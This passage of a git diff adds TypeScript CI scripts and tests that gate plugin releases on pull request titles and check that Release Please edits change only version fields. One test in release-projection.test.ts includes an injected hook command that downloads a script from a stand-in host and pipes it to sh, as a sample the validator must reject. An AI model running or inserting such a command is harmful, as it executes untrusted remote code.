"refactor(runtime)!: replace the portable protocol", + "feat(runtime): add a portable command", + "fix: repair launcher routing", + "perf: reduce startup work", + ]) { + test(`accepts releasable title ${title}`, () => { + const result = classifyReleaseImpact({ + title, + changedFiles: [{ path: "plugin/bin/hello-world" }], + }) + + expect(result.titleIsReleasable).toBe(true) + expect(result.ok).toBe(true) + }) + } + + test("CLI failure emits structured recovery details", () => { + const result = Bun.spawnSync({ + cmd: [process.execPath, "run", "scripts/release-impact.ts"], + cwd: new URL("..", import.meta.url).pathname, + env: { + ...process.env, + PR_TITLE: "docs: describe the launcher", + CHANGED_FILES_JSON: JSON.stringify([{ path: "plugin/bin/hello-world" }]), + }, + stdout: "pipe", + stderr: "pipe", + }) + + expect(result.exitCode).toBe(1) + const failure = JSON.parse(result.stdout.toString()) + expect(failure).toMatchObject({ + ok: false, + category: "release_impact", + retrySafe: true, + changedPayloadPaths: ["plugin/bin/hello-world"], + acceptedTitleTypes: ["feat", "fix", "perf", "breaking (!)"], + }) + expect(failure.message).toContain("feat, fix, perf, or a breaking (!) title") + expect(failure.nextAction).toContain("change the pull request title") + expect(failure.runId).toBeString() + }) + + test("CLI accepts a trusted Release Please projection identity", () => { + const result = Bun.spawnSync({ + cmd: [ + process.execPath, + "run", + "scripts/release-impact.ts", + "--pr-head-ref", + "release-please--branches--main", + "--pr-author-login", + "github-actions[bot]", + "--expected-release-please-login", + "github-actions[bot]", + ], + cwd: new URL("..", import.meta.url).pathname, + env: { + ...process.env, + PR_TITLE: "chore(main): release 1.2.3", + CHANGED_FILES_JSON: JSON.stringify([ + { path: "plugin.config.json", versionOnly: true }, + { path: "CHANGELOG.md", versionOnly: true }, + ]), + }, + stdout: "pipe", + stderr: "pipe", + }) + + expect(result.exitCode).toBe(0) + expect(JSON.parse(result.stdout.toString())).toMatchObject({ + isReleasePleaseProjection: true, + ok: true, + sideEffects: "none", + }) + expect(result.stderr.toString()).toBe("") + }) + + test("CLI fails closed when Release Please identity options are incomplete", () => { + const result = Bun.spawnSync({ + cmd: [ + process.execPath, + "run", + "scripts/release-impact.ts", + "--pr-head-ref", + "release-please--branches--main", + ], + cwd: new URL("..", import.meta.url).pathname, + env: { + ...process.env, + PR_TITLE: "chore(main): release 1.2.3", + CHANGED_FILES_JSON: JSON.stringify([ + { path: "plugin.config.json", versionOnly: true }, + ]), + }, + stdout: "pipe", + stderr: "pipe", + }) + + expect(result.exitCode).toBe(1) + expect(JSON.parse(result.stdout.toString())).toMatchObject({ + isReleasePleaseProjection: false, + ok: false, + category: "release_impact", + }) + expect(result.stderr.toString()).toContain("release-impact:") + }) + + test("CLI classifies Git-backed changed files through the centralized projection policy", () => { + const repository = mkdtempSync(join(tmpdir(), "release-impact-git-")) + const run = (arguments_: string[]) => + Bun.spawnSync({ cmd: arguments_, cwd: repository, stdout: "pipe", stderr: "pipe" }) + for (const command of [ + ["git", "init", "--quiet"], + ["git", "config", "user.name", "Release Impact Test"], + ["git", "config", "user.email", "release-impact@example.invalid"], + ]) expect(run(command).exitCode).toBe(0) + mkdirSync(join(repository, "runtime", "src"), { recursive: true }) + writeFileSync(join(repository, "runtime", "src", "portable.ts"), "export const value = 1\n") + expect(run(["git", "add", "runtime/src/portable.ts"]).exitCode).toBe(0) + expect(run(["git", "commit", "--quiet", "-m", "base"]).exitCode).toBe(0) + const base = run(["git", "rev-parse", "HEAD"]).stdout.toString().trim() + writeFileSync(join(repository, "runtime", "src", "portable.ts"), "export const value = 2\n") + expect(run(["git", "add", "runtime/src/portable.ts"]).exitCode).toBe(0) + expect(run(["git", "commit", "--quiet", "-m", "head"]).exitCode).toBe(0) + const head = run(["git", "rev-parse", "HEAD"]).stdout.toString().trim() + const result = Bun.spawnSync({ + cmd: [ + process.execPath, + "run", + join(root, "scripts", "release-impact.ts"), + "--base", + base, + "--head", + head, + ], + cwd: repository, + env: { + ...process.env, + CHANGED_FILES_JSON: undefined, + PR_TITLE: "fix: update the portable runtime", + }, + stdout: "pipe", + stderr: "pipe", + }) + + expect(result.exitCode, result.stderr.toString()).toBe(0) + expect(JSON.parse(result.stdout.toString())).toMatchObject({ + ok: true, + changedPayloadPaths: ["runtime/src/portable.ts"], + }) + }) + + test("CLI includes a payload path renamed into documentation", () => { + const repository = mkdtempSync(join(tmpdir(), "release-impact-rename-")) + const run = (arguments_: string[]) => + Bun.spawnSync({ cmd: arguments_, cwd: repository, stdout: "pipe", stderr: "pipe" }) + for (const command of [ + ["git", "init", "--quiet"], + ["git", "config", "user.name", "Release Impact Test"], + ["git", "config", "user.email", "release-impact@example.invalid"], + ]) expect(run(command).exitCode).toBe(0) + mkdirSync(join(repository, "plugin", "skills", "hello-world"), { recursive: true }) + mkdirSync(join(repository, "docs"), { recursive: true }) + writeFileSync(join(repository, "plugin", "skills", "hello-world", "SKILL.md"), "hello\n") + expect(run(["git", "add", "plugin/skills/hello-world/SKILL.md"]).exitCode).toBe(0) + expect(run(["git", "commit", "--quiet", "-m", "base"]).exitCode).toBe(0) + const base = run(["git", "rev-parse", "HEAD"]).stdout.toString().trim() + expect(run(["git", "mv", "plugin/skills/hello-world/SKILL.md", "docs/hello-world.md"]).exitCode).toBe(0) + expect(run(["git", "commit", "--quiet", "-m", "head"]).exitCode).toBe(0) + const head = run(["git", "rev-parse", "HEAD"]).stdout.toString().trim() + const result = Bun.spawnSync({ + cmd: [process.execPath, "run", join(root, "scripts", "release-impact.ts"), "--base", base, "--head", head], + cwd: repository, + env: { + ...process.env, + CHANGED_FILES_JSON: undefined, + PR_TITLE: "docs: move the skill guide", + }, + stdout: "pipe", + stderr: "pipe", + }) + + expect(result.exitCode).toBe(1) + expect(JSON.parse(result.stdout.toString())).toMatchObject({ + changedPayloadPaths: ["plugin/skills/hello-world/SKILL.md"], + }) + }) + + test("pull request gate executes trusted base code against the fetched head", () => { + const workflow = readFileSync(join(root, ".github", "workflows", "release-impact.yml"), "utf8") + + expect(workflow).toContain("pull_request_target:") + expect(workflow).toContain("statuses: write") + expect(workflow).toContain("ref: ${{ github.event.pull_request.base.sha }}") + expect(workflow).toContain("persist-credentials: false") + expect(workflow).toContain('git fetch --no-tags origin "refs/pull/${PR_NUMBER}/head"') + expect(workflow).toContain('--raw-field state=pending') + expect(workflow).toContain('IMPACT_OUTCOME: ${{ steps.impact.outcome }}') + expect(workflow).toContain("group: release-impact-${{ github.event.pull_request.number }}") + expect(workflow).toContain("cancel-in-progress: true") + expect(workflow).toContain('if current_pr=$(gh api "repos/${GITHUB_REPOSITORY}/pulls/${PR_NUMBER}"); then') + expect(workflow).toContain('current_head_sha=$(jq -r .head.sha <<< "$current_pr")') + expect(workflow).toContain('current_title=$(jq -r .title <<< "$current_pr")') + expect(workflow).toContain('PR_TITLE="$current_title" bun run scripts/release-impact.ts') + expect(workflow).toContain('if verified_pr=$(gh api "repos/${GITHUB_REPOSITORY}/pulls/${PR_NUMBER}"); then') + expect(workflow).toContain('description="Release impact could not read current pull request"') + expect(workflow).toContain('description="Release impact could not verify the pull request after qualification"') + expect(workflow).toContain('verified_head_sha=$(jq -r .head.sha <<< "$verified_pr")') + expect(workflow).toContain('verified_title=$(jq -r .title <<< "$verified_pr")') + expect(workflow.indexOf('verified_title=$(jq -r .title <<< "$verified_pr")')).toBeLessThan( + workflow.indexOf('--raw-field state="${state}"'), + ) + expect(workflow.indexOf("ref: ${{ github.event.pull_request.base.sha }}")).toBeLessThan( + workflow.indexOf("bun run scripts/release-impact.ts"), + ) + }) + + test("CLI help exposes inputs, output, and side-effect posture", () => { + const result = Bun.spawnSync({ + cmd: [process.execPath, "run", "scripts/release-impact.ts", "--help"], + cwd: new URL("..", import.meta.url).pathname, + stdout: "pipe", + stderr: "pipe", + }) + + expect(result.exitCode).toBe(0) + expect(result.stdout.toString()).toContain("--base ") + expect(result.stdout.toString()).toContain("--pr-head-ref ") + expect(result.stdout.toString()).toContain("--pr-author-login ") + expect(result.stdout.toString()).toContain("--expected-release-please-login ") + expect(result.stdout.toString()).toContain("Missing or mismatched identity disables") + expect(result.stdout.toString()).toContain("one JSON result on stdout") + expect(result.stdout.toString()).toContain("Side effects: none") + }) +}) diff --git a/scripts/release-impact.ts b/scripts/release-impact.ts new file mode 100644 index 0000000..4df4b1f --- /dev/null +++ b/scripts/release-impact.ts @@ -0,0 +1,376 @@ +const acceptedTitleTypes = ["feat", "fix", "perf", "breaking (!)"] as const +const generatedPayloadPaths = new Set([ + ".agents/plugins/marketplace.json", + ".claude-plugin/marketplace.json", + "plugin.config.json", +]) +import { + RELEASE_PROJECTION_PATH_SET, + isReleaseProjectionVersionOnlyChange, +} from "./release-projection" +const releasableTitle = + /^(?:(?:feat|fix|perf)(?:\([a-z0-9._/-]+\))?!?|[a-z][a-z0-9-]*(?:\([a-z0-9._/-]+\))?!): .+$/ + +/** One base-to-head path plus the projection analysis performed by the caller. */ +export interface ReleaseImpactChangedFile { + /** Repository-relative path reported by git. */ + path: string + /** True when the file differs only in its Release Please-owned version projection. */ + versionOnly?: boolean +} + +/** Trusted pull request identity used to recognize Release Please automation. */ +export interface ReleaseImpactPullRequestIdentity { + /** Pull request head branch reported by GitHub. */ + headRef?: string + /** Pull request author login reported by GitHub. */ + authorLogin?: string + /** Repository-configured Release Please automation login. */ + expectedAutomationLogin?: string +} + +/** Inputs needed to decide whether a pull request title can carry its payload diff. */ +export interface ReleaseImpactInput { + /** Pull request title evaluated as the future squash-merge commit. */ + title: string + /** Base-to-head files, with version-only evidence where applicable. */ + changedFiles: readonly ReleaseImpactChangedFile[] + /** Trusted GitHub identity; absent or incomplete identity disables the release exemption. */ + pullRequestIdentity?: ReleaseImpactPullRequestIdentity +} + +/** Stable policy result emitted by the release-impact gate. */ +export interface ReleaseImpactResult { + /** True when the diff changes canonical payload or its source. */ + payloadChanged: boolean + /** True when every change belongs to the version-only Release Please projection. */ + isReleasePleaseProjection: boolean + /** True when the title produces a Release Please version. */ + titleIsReleasable: boolean + /** True when the pull request may pass this gate. */ + ok: boolean + /** Payload-owned paths that caused title policy evaluation. */ + changedPayloadPaths: string[] + /** Human-readable title classes accepted for payload changes. */ + acceptedTitleTypes: string[] +} + +interface CliOptions { + base?: string + head?: string + prHeadRef?: string + prAuthorLogin?: string + expectedReleasePleaseLogin?: string + help: boolean +} + +class ReleaseImpactError extends Error { + constructor( + readonly category: "usage" | "git_diff" | "release_impact" | "unexpected", + message: string, + readonly nextAction: string, + readonly retrySafe = true, + ) { + super(message) + } +} + +const help = `Gate installable payload changes on a releasable pull request title. + +Usage: + PR_TITLE="fix: repair the hook" bun run scripts/release-impact.ts --base --head + +Options: + --base Pull request base commit; defaults to BASE_SHA + --head Pull request head commit; defaults to HEAD_SHA + --pr-head-ref Trusted pull request head branch + --pr-author-login Trusted pull request author login + --expected-release-please-login Expected Release Please automation login + -h, --help Show this help + +Release Please exemption: + Requires all three identity options and a release-please--branches-- head ref. + Missing or mismatched identity disables the exemption. + +Test input: + CHANGED_FILES_JSON may provide [{"path":"...","versionOnly":true}] instead of git refs. + +Output: one JSON result on stdout. Diagnostics use stderr. +Side effects: none. +` + +function isPayloadPath(path: string): boolean { + return ( + path.startsWith("plugin/") || + path.startsWith("runtime/src/") || + generatedPayloadPaths.has(path) + ) +} + +/** + * Compare one projection file after removing only its Release Please-owned version field. + * + * @param path - Repository-relative projection path + * @param before - File contents at the pull request merge base + * @param after - File contents at the pull request head + * @returns True when no installable behavior differs after projection normalization + * + * @example + * ```typescript + * isReleasePleaseVersionOnlyChange("plugin.config.json", before, after) + * ``` + */ +export function isReleasePleaseVersionOnlyChange( + path: string, + before: string, + after: string, +): boolean { + return isReleaseProjectionVersionOnlyChange(path, before, after) +} + +/** + * Decide whether a pull request title carries the release impact of its changed paths. + * + * @param input - Pull request title and base-to-head changed-file evidence + * @returns Stable policy result for CI and direct tests + * + * @example + * ```typescript + * classifyReleaseImpact({ + * title: "fix: repair the hook", + * changedFiles: [{ path: "plugin/hooks/claude/hooks.json" }], + * }) + * ``` + */ +export function classifyReleaseImpact(input: ReleaseImpactInput): ReleaseImpactResult { + const changedPayloadPaths = input.changedFiles + .filter((file) => isPayloadPath(file.path)) + .map((file) => file.path) + const payloadChanged = changedPayloadPaths.length > 0 + const identity = input.pullRequestIdentity + const isReleasePleasePullRequest = + Boolean(identity?.expectedAutomationLogin) && + identity?.authorLogin === identity?.expectedAutomationLogin && + identity?.headRef?.startsWith("release-please--branches--") === true + const isReleasePleaseProjection = + isReleasePleasePullRequest && + payloadChanged && + input.changedFiles.length > 0 && + input.changedFiles.every( + (file) => RELEASE_PROJECTION_PATH_SET.has(file.path) && file.versionOnly === true, + ) + const titleIsReleasable = releasableTitle.test(input.title) + + return { + payloadChanged, + isReleasePleaseProjection, + titleIsReleasable, + ok: !payloadChanged || isReleasePleaseProjection || titleIsReleasable, + changedPayloadPaths, + acceptedTitleTypes: [...acceptedTitleTypes], + } +} + +function optionValue(arguments_: string[], name: string): string | undefined { + const index = arguments_.indexOf(name) + if (index === -1) return undefined + const value = arguments_[index + 1] + if (!value || value.startsWith("--")) { + throw new ReleaseImpactError( + "usage", + `${name} requires a value`, + "bun run scripts/release-impact.ts --help", + ) + } + return value +} + +function parseOptions(arguments_: string[]): CliOptions { + if (arguments_.includes("--help") || arguments_.includes("-h")) { + return { help: true } + } + for (let index = 0; index < arguments_.length; index += 1) { + const argument = arguments_[index] + if ( + argument === "--base" || + argument === "--head" || + argument === "--pr-head-ref" || + argument === "--pr-author-login" || + argument === "--expected-release-please-login" + ) { + index += 1 + continue + } + throw new ReleaseImpactError( + "usage", + `unknown option: ${argument}`, + "bun run scripts/release-impact.ts --help", + ) + } + return { + base: optionValue(arguments_, "--base") ?? process.env.BASE_SHA, + head: optionValue(arguments_, "--head") ?? process.env.HEAD_SHA, + prHeadRef: optionValue(arguments_, "--pr-head-ref"), + prAuthorLogin: optionValue(arguments_, "--pr-author-login"), + expectedReleasePleaseLogin: optionValue(arguments_, "--expected-release-please-login"), + help: false, + } +} + +function gitOutput(arguments_: string[], allowFailure = false): string | undefined { + const result = Bun.spawnSync({ + cmd: ["git", ...arguments_], + stdout: "pipe", + stderr: "pipe", + }) + if (result.exitCode === 0) return result.stdout.toString() + if (allowFailure) return undefined + throw new ReleaseImpactError( + "git_diff", + result.stderr.toString().trim() || `git ${arguments_[0]} failed`, + "fetch the pull request base and head commits, then rerun the gate", + ) +} + +function gitChangedFiles(base: string, head: string): ReleaseImpactChangedFile[] { + const mergeBase = gitOutput(["merge-base", base, head])?.trim() + if (!mergeBase) { + throw new ReleaseImpactError( + "git_diff", + "git did not resolve a merge base", + "fetch the pull request base and head commits, then rerun the gate", + ) + } + const changedPaths = (gitOutput(["diff", "--no-renames", "--name-only", "-z", `${base}...${head}`, "--"]) ?? "") + .split("\0") + .filter(Boolean) + return changedPaths.map((path) => { + if (!RELEASE_PROJECTION_PATH_SET.has(path)) return { path } + const before = gitOutput(["show", `${mergeBase}:${path}`], true) + const after = gitOutput(["show", `${head}:${path}`], true) + return { + path, + versionOnly: + before !== undefined && + after !== undefined && + isReleasePleaseVersionOnlyChange(path, before, after), + } + }) +} + +function environmentChangedFiles(value: string): ReleaseImpactChangedFile[] { + let parsed: unknown + try { + parsed = JSON.parse(value) + } catch { + throw new ReleaseImpactError( + "usage", + "CHANGED_FILES_JSON must be valid JSON", + "provide a JSON array of changed path objects", + ) + } + if ( + !Array.isArray(parsed) || + !parsed.every( + (file) => + file && + typeof file === "object" && + typeof (file as ReleaseImpactChangedFile).path === "string" && + ((file as ReleaseImpactChangedFile).versionOnly === undefined || + typeof (file as ReleaseImpactChangedFile).versionOnly === "boolean"), + ) + ) { + throw new ReleaseImpactError( + "usage", + "CHANGED_FILES_JSON must contain changed path objects", + "provide a JSON array of {path, versionOnly?} objects", + ) + } + return parsed as ReleaseImpactChangedFile[] +} + +function changedFiles(options: CliOptions): ReleaseImpactChangedFile[] { + if (process.env.CHANGED_FILES_JSON) { + return environmentChangedFiles(process.env.CHANGED_FILES_JSON) + } + if (!options.base || !options.head) { + throw new ReleaseImpactError( + "usage", + "--base and --head are required when CHANGED_FILES_JSON is absent", + "pass --base and --head or set BASE_SHA and HEAD_SHA", + ) + } + return gitChangedFiles(options.base, options.head) +} + +function gateFailure(result: ReleaseImpactResult): ReleaseImpactError { + const paths = result.changedPayloadPaths.join(", ") + return new ReleaseImpactError( + "release_impact", + `Installable payload changed at ${paths}. Use feat, fix, perf, or a breaking (!) title.`, + "change the pull request title to a releasable Conventional Commit class", + ) +} + +function emitFailure(error: ReleaseImpactError, runId: string, result?: ReleaseImpactResult): void { + console.log( + JSON.stringify({ + ...(result ?? { ok: false }), + runId, + category: error.category, + message: error.message, + retrySafe: error.retrySafe, + nextAction: error.nextAction, + sideEffects: "none", + }), + ) + console.error(`release-impact: ${error.message}`) + console.error(`Next: ${error.nextAction}`) +} + +function main(arguments_: string[]): void { + const runId = crypto.randomUUID() + try { + const options = parseOptions(arguments_) + if (options.help) { + console.log(help) + return + } + const title = process.env.PR_TITLE + if (!title) { + throw new ReleaseImpactError( + "usage", + "PR_TITLE is required", + "set PR_TITLE to the pull request title and rerun the gate", + ) + } + const result = classifyReleaseImpact({ + title, + changedFiles: changedFiles(options), + pullRequestIdentity: { + headRef: options.prHeadRef, + authorLogin: options.prAuthorLogin, + expectedAutomationLogin: options.expectedReleasePleaseLogin, + }, + }) + if (!result.ok) { + emitFailure(gateFailure(result), runId, result) + process.exitCode = 1 + return + } + console.log(JSON.stringify({ ...result, runId, sideEffects: "none" })) + } catch (error) { + const failure = + error instanceof ReleaseImpactError + ? error + : new ReleaseImpactError( + "unexpected", + error instanceof Error ? error.message : String(error), + "inspect the reported failure before rerunning the gate", + ) + emitFailure(failure, runId) + process.exitCode = failure.category === "usage" ? 2 : 1 + } +} + +if (import.meta.main) main(process.argv.slice(2)) diff --git a/scripts/release-projection.test.ts b/scripts/release-projection.test.ts new file mode 100644 index 0000000..5faf836 --- /dev/null +++ b/scripts/release-projection.test.ts @@ -0,0 +1,150 @@ +import { existsSync, mkdtempSync, rmSync, writeFileSync } from "node:fs" +import { tmpdir } from "node:os" +import { join } from "node:path" + +import { expect, test } from "bun:test" + +import { + RELEASE_PROJECTION_PATHS, + validateReleaseProjection, +} from "./release-projection" + +test("one projection policy accepts version-only changes and rejects behavioral drift", () => { + const versionOnly = validateReleaseProjection( + [{ filename: "plugin.config.json", status: "modified", sha: "1" }], + () => ({ before: '{"version":"0.1.0","name":"x"}', after: '{"version":"0.2.0","name":"x"}' }), + ) + + expect(versionOnly.changedFiles).toEqual(["plugin.config.json"]) + expect(versionOnly.projectionDigest).toMatch(/^[a-f0-9]{64}$/) + expect(() => + validateReleaseProjection( + [{ filename: "plugin.config.json", status: "modified" }], + () => ({ before: '{"version":"0.1.0","name":"x"}', after: '{"version":"0.2.0","name":"y"}' }), + ), + ).toThrow("non-version behavior") + expect(() => + validateReleaseProjection([{ filename: "README.md", status: "modified" }], () => ({ + before: "a", + after: "b", + })), + ).toThrow("unsupported path") +}) + +test("Codex hook projection admits only a bare semantic version before its marker", () => { + const before = '{"command":"hello --plugin-version 0.1.0 # x-release-please-version"}' + const after = '{"command":"hello --plugin-version 0.2.0 # x-release-please-version"}' + const injected = + '{"command":"hello --plugin-version 0.2.0;curl$IFS-sSLo/tmp/p$IFShttps://example.invalid/p|sh # x-release-please-version"}' + + expect( + validateReleaseProjection( + [{ filename: "plugin/hooks/codex/hooks.json", status: "modified" }], + () => ({ before, after }), + ).changedFiles, + ).toEqual(["plugin/hooks/codex/hooks.json"]) + expect(() => + validateReleaseProjection( + [{ filename: "plugin/hooks/codex/hooks.json", status: "modified" }], + () => ({ before, after: injected }), + ), + ).toThrow("release projection changed non-version behavior") +}) + +test("changelog projection prepends exactly one current-version section", () => { + const manifest = { + before: '{".":"0.1.0"}', + after: '{".":"0.2.0"}', + } + const before = "# Changelog\n\n## [0.1.0](https://example.invalid/v0.1.0) (2026-08-01)\n\nOld bytes.\n" + const current = "## [0.2.0](https://example.invalid/v0.2.0) (2026-08-06)\n\n### Features\n\n* Added.\n\n" + const validateChangelog = (after: string): ReturnType => + validateReleaseProjection( + [{ filename: "CHANGELOG.md", status: "modified" }], + (path) => path === "CHANGELOG.md" ? { before, after } : manifest, + ) + + expect(validateChangelog(`# Changelog\n\n${current}${before.slice("# Changelog\n\n".length)}`).changedFiles).toEqual([ + "CHANGELOG.md", + ]) + expect(() => validateChangelog(`${before}${current}`)).toThrow("non-version behavior") + expect(() => + validateChangelog(`# Changelog\n\nUnrelated prefix.\n\n${current}${before.slice("# Changelog\n\n".length)}`), + ).toThrow("non-version behavior") + expect(() => + validateChangelog(`# Changelog\n\n${current}${before.slice("# Changelog\n\n".length).replace("Old bytes.", "Rewritten.")}`), + ).toThrow("non-version behavior") + expect(() => + validateChangelog(`# Changelog\n\n${current}## Unrelated\n\nExtra.\n\n${before.slice("# Changelog\n\n".length)}`), + ).toThrow("non-version behavior") + expect(() => + validateChangelog(`# Changelog\n\n${current.replaceAll("0.2.0", "0.3.0")}${before.slice("# Changelog\n\n".length)}`), + ).toThrow("non-version behavior") +}) + +test("bootstrap changelog projection accepts one initial current-version section", () => { + const result = validateReleaseProjection( + [{ filename: "CHANGELOG.md", status: "modified" }], + (path) => path === "CHANGELOG.md" + ? { + before: "", + after: "# Changelog\n\n## 0.1.0 (2026-08-06)\n\nInitial release.\n", + } + : { before: "{}", after: '{".":"0.1.0"}' }, + ) + + expect(result.changedFiles).toEqual(["CHANGELOG.md"]) +}) + +test("projection CLI executes the same policy against Git refs", () => { + const repository = mkdtempSync(join(tmpdir(), "release-projection-cli-")) + const run = (arguments_: string[]) => + Bun.spawnSync({ cmd: arguments_, cwd: repository, stdout: "pipe", stderr: "pipe" }) + let result: ReturnType | undefined + try { + for (const command of [ + ["git", "init", "--quiet"], + ["git", "config", "user.name", "Projection Test"], + ["git", "config", "user.email", "projection@example.invalid"], + ["git", "config", "commit.gpgsign", "false"], + ["git", "config", "tag.gpgsign", "false"], + ]) { + expect(run(command).exitCode).toBe(0) + } + writeFileSync(join(repository, "plugin.config.json"), '{"name":"x","version":"0.1.0"}\n') + expect(run(["git", "add", "plugin.config.json"]).exitCode).toBe(0) + expect(run(["git", "commit", "--quiet", "-m", "base"]).exitCode).toBe(0) + const base = run(["git", "rev-parse", "HEAD"]).stdout.toString().trim() + writeFileSync(join(repository, "plugin.config.json"), '{"name":"x","version":"0.2.0"}\n') + expect(run(["git", "add", "plugin.config.json"]).exitCode).toBe(0) + expect(run(["git", "commit", "--quiet", "-m", "version"]).exitCode).toBe(0) + const head = run(["git", "rev-parse", "HEAD"]).stdout.toString().trim() + const projection = join(repository, "projection.json") + writeFileSync(projection, '[{"filename":"plugin.config.json","status":"modified","sha":"1"}]\n') + + result = run([ + process.execPath, + "run", + join(import.meta.dir, "release-projection.ts"), + "--base", + base, + "--head", + head, + "--projection", + projection, + "--json", + ]) + } finally { + rmSync(repository, { recursive: true, force: true }) + } + + expect(existsSync(repository)).toBe(false) + expect(result).toBeDefined() + if (!result) throw new Error("projection CLI fixture did not run") + expect(result.exitCode, result.stderr.toString()).toBe(0) + expect(JSON.parse(result.stdout.toString())).toMatchObject({ + ok: true, + changedFiles: ["plugin.config.json"], + }) + expect(RELEASE_PROJECTION_PATHS).toContain("plugin/runtime/hello-world.js") +}) diff --git a/scripts/release-projection.ts b/scripts/release-projection.ts new file mode 100644 index 0000000..50a0e6f --- /dev/null +++ b/scripts/release-projection.ts @@ -0,0 +1,179 @@ +import { createHash } from "node:crypto" +import { readFileSync } from "node:fs" + +import { compareCodeUnits } from "./plugin-files" + +/** Single owner for files Release Please may modify during publication admission. */ +export const RELEASE_PROJECTION_PATHS = [ + ".claude-plugin/marketplace.json", + ".github/.release-please-manifest.json", + "CHANGELOG.md", + "package.json", + "plugin.config.json", + "plugin/.claude-plugin/plugin.json", + "plugin/.codex-plugin/plugin.json", + "plugin/hooks/codex/hooks.json", + "plugin/runtime/hello-world.js", +] as const + +export const RELEASE_PROJECTION_PATH_SET = new Set(RELEASE_PROJECTION_PATHS) + +const CHANGELOG_HEADER = "# Changelog\n\n" +const SEMANTIC_VERSION = "[0-9]+\\.[0-9]+\\.[0-9]+(?:-[0-9A-Za-z.-]+)?" + +const jsonVersionPaths = new Set([ + "package.json", + "plugin.config.json", + "plugin/.claude-plugin/plugin.json", + "plugin/.codex-plugin/plugin.json", +]) + +function normalizedJsonVersion(path: string, contents: string): string | undefined { + try { + const value = JSON.parse(contents) as Record + if (!value || typeof value !== "object" || Array.isArray(value)) return undefined + if (path === ".claude-plugin/marketplace.json") { + const metadata = value.metadata + if (!metadata || typeof metadata !== "object" || Array.isArray(metadata)) return undefined + delete (metadata as Record).version + } else if (path === ".github/.release-please-manifest.json") { + delete value["."] + } else if (jsonVersionPaths.has(path)) { + delete value.version + } else return undefined + return JSON.stringify(value) + } catch { + return undefined + } +} + +/** Compare one file after removing only its Release Please-owned version projection. */ +export function isReleaseProjectionVersionOnlyChange( + path: string, + before: string, + after: string, + expectedVersion?: string, +): boolean { + if (!RELEASE_PROJECTION_PATH_SET.has(path)) return false + if (path === "CHANGELOG.md") { + const beforeBody = before === "" ? "" : before.startsWith(CHANGELOG_HEADER) ? before.slice(CHANGELOG_HEADER.length) : undefined + if (beforeBody === undefined || !after.startsWith(CHANGELOG_HEADER)) return false + const afterBody = after.slice(CHANGELOG_HEADER.length) + if (!afterBody.endsWith(beforeBody)) return false + const added = beforeBody === "" ? afterBody : afterBody.slice(0, -beforeBody.length) + const headings = added.match(/^## .+$/gm) ?? [] + if (headings.length !== 1) return false + if (!added.startsWith(`${headings[0]}\n`) || /^# [^#]/m.test(added)) return false + const match = headings[0].match( + new RegExp(`^## (?:\\[(${SEMANTIC_VERSION})\\]\\([^\\n)]+\\)|(${SEMANTIC_VERSION}))(?: \\(\\d{4}-\\d{2}-\\d{2}\\))?$`), + ) + const version = match?.[1] ?? match?.[2] + return version !== undefined && (expectedVersion === undefined || version === expectedVersion) + } + if (path === "plugin/hooks/codex/hooks.json") { + const normalize = (contents: string): string | undefined => { + const versionProjection = new RegExp( + `--plugin-version\\s+${SEMANTIC_VERSION}(?=\\s+# x-release-please-version)`, + "g", + ) + if (!versionProjection.test(contents)) return undefined + versionProjection.lastIndex = 0 + return contents.replace(versionProjection, "--plugin-version VERSION") + } + const normalizedBefore = normalize(before) + const normalizedAfter = normalize(after) + return normalizedBefore !== undefined && normalizedBefore === normalizedAfter + } + if (path === "plugin/runtime/hello-world.js") { + const normalize = (contents: string): string => + contents.replace(/const PLUGIN_VERSION = "[^"]+";/g, 'const PLUGIN_VERSION = "VERSION";') + return normalize(before) === normalize(after) + } + const normalizedBefore = normalizedJsonVersion(path, before) + const normalizedAfter = normalizedJsonVersion(path, after) + return normalizedBefore !== undefined && normalizedBefore === normalizedAfter +} + +export interface ReleaseProjectionFile { + filename: string + status: string + sha?: string +} + +/** Validate the exact changed-file set, statuses, and version-only bytes. */ +export function validateReleaseProjection( + files: ReleaseProjectionFile[], + readVersions: (path: string) => { before: string; after: string }, +): { changedFiles: string[]; projectionDigest: string } { + const sorted = [...files].sort((left, right) => compareCodeUnits(left.filename, right.filename)) + let expectedVersion: string | undefined + if (sorted.some((file) => file.filename === "CHANGELOG.md")) { + try { + const manifest = JSON.parse( + readVersions(".github/.release-please-manifest.json").after, + ) as Record + expectedVersion = typeof manifest["."] === "string" ? manifest["."] : undefined + } catch { + expectedVersion = undefined + } + if (!expectedVersion) throw new Error("release projection cannot resolve the current changelog version") + } + if (sorted.length === 0) throw new Error("release projection is empty") + if (new Set(sorted.map((file) => file.filename)).size !== sorted.length) { + throw new Error("release projection contains duplicate paths") + } + for (const file of sorted) { + if (!RELEASE_PROJECTION_PATH_SET.has(file.filename)) { + throw new Error(`release projection contains unsupported path: ${file.filename}`) + } + if (file.status !== "modified") { + throw new Error(`release projection contains unsupported status: ${file.filename} ${file.status}`) + } + const versions = readVersions(file.filename) + if (!isReleaseProjectionVersionOnlyChange(file.filename, versions.before, versions.after, expectedVersion)) { + throw new Error(`release projection changed non-version behavior: ${file.filename}`) + } + } + const canonical = JSON.stringify(sorted) + return { + changedFiles: sorted.map((file) => file.filename), + projectionDigest: createHash("sha256").update(canonical).digest("hex"), + } +} + +function gitFile(ref: string, path: string): string { + const result = Bun.spawnSync({ + cmd: ["git", "show", `${ref}:${path}`], + cwd: process.cwd(), + stdout: "pipe", + stderr: "pipe", + }) + if (result.exitCode !== 0) { + throw new Error(`cannot read ${path} at ${ref}: ${result.stderr.toString().trim()}`) + } + return result.stdout.toString() +} + +if (import.meta.main) { + const arguments_ = process.argv.slice(2) + const value = (name: string): string => { + const index = arguments_.indexOf(name) + const result = index === -1 ? undefined : arguments_[index + 1] + if (!result || result.startsWith("--")) throw new Error(`${name} is required`) + return result + } + try { + const base = value("--base") + const head = value("--head") + const projectionPath = value("--projection") + const files = JSON.parse(readFileSync(projectionPath, "utf8")) as ReleaseProjectionFile[] + const result = validateReleaseProjection(files, (path) => ({ + before: gitFile(base, path), + after: gitFile(head, path), + })) + console.log(JSON.stringify({ ok: true, ...result })) + } catch (error) { + console.error(`release:projection: ${error instanceof Error ? error.message : String(error)}`) + process.exit(1) + } +} diff --git a/scripts/release-validate.test.ts b/scripts/release-validate.test.ts index b0f58a0..8de8cd9 100644 --- a/scripts/release-validate.test.ts +++ b/scripts/release-validate.test.ts @@ -4,6 +4,14 @@ import { basename, join, resolve } from "node:path" import { expect, test } from "bun:test" +import { + admitPublicationCandidate, + validatePublicationBinding, + parsePublicationCandidateRecord, + validateRepairCandidateBinding, + validateRepairBinding, +} from "./release-validate" + const root = resolve(import.meta.dir, 